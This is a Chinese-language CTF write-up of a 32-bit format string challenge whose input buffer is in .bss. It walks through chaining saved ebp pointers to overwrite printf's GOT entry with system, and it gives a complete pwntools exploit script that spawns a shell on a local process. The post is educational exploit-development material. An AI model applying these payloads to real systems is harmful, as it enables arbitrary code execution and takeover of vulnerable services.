0%

fmt_bss

fmt_bss

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int do_fmt()
{
int result; // eax

while ( 1 )
{
read(0, buf, 0xC8u);
result = strncmp(buf, "quit", 4u);
if ( !result )
break;
printf(buf);
}
return result;
}

可见是格式化字符串漏洞,但是别的题不一样的是我们接收字符的变量buf在bss段,也就是说我们写入的字符不在栈中,而在bss段,以往的做题套路就是把地址包含在字符串中输入,然后索引到这个地址,就可以改变这个地址对应内存的内容了,但是如果在bss段,把地址包含在字符串中输入的话,就无法定位到这个地址到参数的偏移量了,所以不能简单利用这个套路,看了两三篇博客后,逐渐搞懂了该怎么格式化字符串了。

格式化字符串的本质是$n这个特殊字符,一般构造是%c%k$n,k是偏移量,执行这个格式化字符串的结果就是在偏移量k处把输出的字符的个数填入,如果这个地方还储存这一个地址,他就把个数填入这个地址对应的内存中,就达成了数据覆盖。所以思路就是我们把想要覆盖数据的地址填入格式化字符串可以索引到的位置(叫做位置一),然后执行格式化字符串,索引到位置一,然后以位置一为跳板修改对应地址的值

这道题就是这个构造式的转化,shift+f12发现没有特殊函数和字符,也没法直接读取flag,也没有特殊函数可以把bss段变得可以执行,加上这个程序还有格式化漏洞,所以思路就是读取一个函数的真实地址,得到libc的基地址,然后得到system函数地址,利用格式化字符串的任意读写把system函数填入printf的got中,然后输入/bin/sh\x00执行system(‘/bin/sh\x00’)

这里我们选择读取prinf的真实地址,然后覆盖他的地址为system的地址,但是该如何完成呢,fmt_bss主要依靠两个ebp来完成

查看一下程序第一次执行printf函数时栈的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
00:0000│ esp 0xffffcfc0 —▸ 0x804a060 (buf) ◂— jae    0x804a0c6 /* 0x73666473; 'sdfsd\n' */
01:0004│ 0xffffcfc4 —▸ 0x8048680 ◂— jno 0x80486f7 /* 'quit' */
02:0008│ 0xffffcfc8 ◂— 0x4
03:000c│ 0xffffcfcc —▸ 0x8048507 (do_fmt+12) ◂— add ebx, 0x1af9
04:0010│ 0xffffcfd0 —▸ 0x8048685 ◂— cmp eax, 0x3d3d3d3d /* '=====================' */
05:0014│ 0xffffcfd4 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— add dword ptr [eax], eax
06:0018│ ebp 0xffffcfd8 —▸ 0xffffcfe8 —▸ 0xffffcff8 ◂— 0x0
07:001c│ 0xffffcfdc —▸ 0x80485ad (play+77) ◂— nop
pwndbg>
08:0020│ 0xffffcfe0 —▸ 0xf7fb5d60 (_IO_2_1_stdout_) ◂— xchg dword ptr [eax], ebp /* 0xfbad2887 */
09:0024│ 0xffffcfe4 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— add dword ptr [eax], eax
0a:0028│ 0xffffcfe8 —▸ 0xffffcff8 ◂— 0x0
0b:002c│ 0xffffcfec —▸ 0x80485ea (main+55) ◂— nop
0c:0030│ 0xffffcff0 —▸ 0xffffd010 ◂— 0x1
0d:0034│ 0xffffcff4 ◂— 0x0
0e:0038│ 0xffffcff8 ◂— 0x0
0f:003c│ 0xffffcffc —▸ 0xf7e1a647 (__libc_start_main+247) ◂— add esp, 0x10

发现ebp处储存着下一个ebp的地址,我们把第一个ebp叫做ebp1,第二个ebp叫做ebp2,ebp下面的内存这种储存着一个地址,这个位置离参数的偏移为7,就叫做fmt7,ebp2的下一个内存中也储存这一个地址,相对于参数的偏移为11,就叫做fmt11

我们要得到printf的真实地址,就得先选择一个跳板来储存print@got的值,我们先查看一下printf@got的地址

0x804a010这是printfgot表的地址,得到地址就要写入栈中,现在得思考挑选哪个内存当跳板,对比栈上的内容发现,fmt7和fmt11储存的地址的前四个字节和printf的地址是一样的,只有后两个自己不一样,我们就可以选择他俩储存储存printfgot表地址,因为我们只要修改最后两个字节就可以了,我们暂时选择fmt7储存地址,fmt11后面有用。

但是无法直接修改fmt7上的值因为fmt7上原本也储存着地址,直接%c%7%n的话,就修改了fmt7上储存的地址对应的内存的数据了,而不是fmt7本身,无法直接就该得选择通过跳板来就该,即选择一个跳板储存fmt7的地址,通过这个跳板来修改fmt7的值,我们选择通过ebp1和ebp2联合配合来解决这个问题,ebp2本来储存的地址和fmt7的地址就最后一个字节不一样,我们可以把ebp2当做跳板来修改fmt7的值,但是同样的原因无法直接修改ebp2的内容,而ebp1储存着ebp2的地址我们可以通过ebp1为跳板修改ebp2的值。

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.log_level='debug'
sh=process('./playfmt')
elf=ELF('./playfmt')
#gdb.attach(sh,"b *0x0804854F")
libc=elf.libc
print_got=elf.got['printf']
system_offset=libc.symbols['system']
printf_offset=libc.symbols['printf']
sh.recv()
sh.sendline('%6$x')
ebp2=int(sh.recv(),16)
fmt7=ebp2-0xc
ebp1=fmt7-0x4
fmt11=ebp2+0x4
#ebp2---fmt7
pay1='%'+str(fmt7&0xffff)+'c%6$hn'
sleep(0.3)
sh.sendline(pay1)

这时ebp2就指向了fmt7,然后以ebp2为跳板修改fmt7的值

1
2
3
4
#fmt7---printf@got
pay2='%'+str(print_got&0xffff)+'c%10$hn'
sleep(0.4)
sh.sendline(pay2)

这时fmt7就指向了printf@got,就可以读取printf的真实地址了,但是我们不着急读,我们能推出system的地址了,然后得把system的地址写到printf@got中,地址一共四个字节,$n能直接写四个字节,但是程序会崩溃,不建议这样,一般选择$hn,两个字节两个字节写,拿fmt7当跳板覆盖地址的话,只能覆盖后两个字节,无法一次性全部覆盖,所以后两个字节也得要一个跳板来指向他,fmt11就派上用场了,把fm11储存的地址改成print$@got+2,联合fmt7和fmt11就可以一次性完成修改了。和修改fmt7的内容一样,fmt11也t通过ebp1和ebp2修改,即通过ebp1修改ebp2指向fmt11,再通过fmt11修改got

ebp2指向fmt11

1
2
3
pay3='%'+str(fmt11&0xffff)+'c%6$hn'
sleep(0.3)
sh.sendline(pay3)

然后把fmt11指向got+2

1
2
3
pay4='%'+str((print_got+2)&0xffff)+'c%10$hn'
sleep(0.4)
sh.sendline(pay4)

然后读printf的真实地址

1
2
3
4
5
6
7
#print_addr
sh.sendline('aaa1%7$s')
sh.recvuntil('a1')
print_addr=u32(sh.recv(4))
#system_addr
system_addr=print_addr-printf_offset+system_offset
log.info('************{:#x}***********'.format(system_addr))

最后修改地址

1
2
3
4
5
system_low=system_addr&0xffff
system_high=system_addr>>16
pay5='%'+str(system_low)+'c%7$hn'+'%'+str(system_high-system_low)+'c%11$hn'
sleep(0.3)
sh.sendline(pay5)

完整payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
context.log_level='debug'
sh=process('./playfmt')
elf=ELF('./playfmt')
#gdb.attach(sh,"b *0x0804854F")
libc=elf.libc
print_got=elf.got['printf']
system_offset=libc.symbols['system']
printf_offset=libc.symbols['printf']
sh.recv()
sh.sendline('%6$x')
ebp2=int(sh.recv(),16)
fmt7=ebp2-0xc
ebp1=fmt7-0x4
fmt11=ebp2+0x4
#ebp2---fmt7
pay1='%'+str(fmt7&0xffff)+'c%6$hn'
sleep(0.3)
sh.sendline(pay1)
#标志符
while(1):
sleep(0.3)
sh.sendline('abc\x00')
if sh.recv().find('abc')!=-1:
break
#fmt7---printf@got
pay2='%'+str(print_got&0xffff)+'c%10$hn'
sleep(0.4)
sh.sendline(pay2)
#标志符
while(1):
sleep(0.3)
sh.sendline('abc\x00')
if sh.recv().find('abc')!=-1:
break
#ebp2----fmt11
pay3='%'+str(fmt11&0xffff)+'c%6$hn'
sleep(0.3)
sh.sendline(pay3)
#标志符
while(1):
sleep(0.3)
sh.sendline('abc\x00')
if sh.recv().find('abc')!=-1:
break
#fmt11---got+2
pay4='%'+str((print_got+2)&0xffff)+'c%10$hn'
sleep(0.4)
sh.sendline(pay4)
#标志符
while(1):
sleep(0.3)
sh.sendline('abc\x00')
if sh.recv().find('abc')!=-1:
break
#print_addr
sh.sendline('aaa1%7$s')
sh.recvuntil('a1')
print_addr=u32(sh.recv(4))
#system_addr
system_addr=print_addr-printf_offset+system_offset
log.info('************{:#x}***********'.format(system_addr))
#printgot---system
system_low=system_addr&0xffff
system_high=system_addr>>16
pay5='%'+str(system_low)+'c%7$hn'+'%'+str(system_high-system_low)+'c%11$hn'
sleep(0.3)
sh.sendline(pay5)
#标志符
while(1):
sleep(0.3)
sh.sendline('abc\x00')
if sh.recv().find('abc')!=-1:
break
sleep(0.3)
sh.sendline('/bin/sh\x00')
sh.interactive()

能打通本地,远程差不多,就不搞了。(懒

总结

由于没法直接在字符串包含地址,所以得构造类似地址链的东西,把他抽象出来感觉就像一个链表,每个位置就像一个节点,我们只有最后一个节点(不储存低位的位置)可以直接修改数据,其他节点(储存着后置节点的地址),得通过对应的前置节点才可以修改,如果要修改某个位置的值,可以通过各种办法把他连到这个链表上,就可以通过前置节点修改其值了,payload就相当于以ebp1为头结点构造链表了。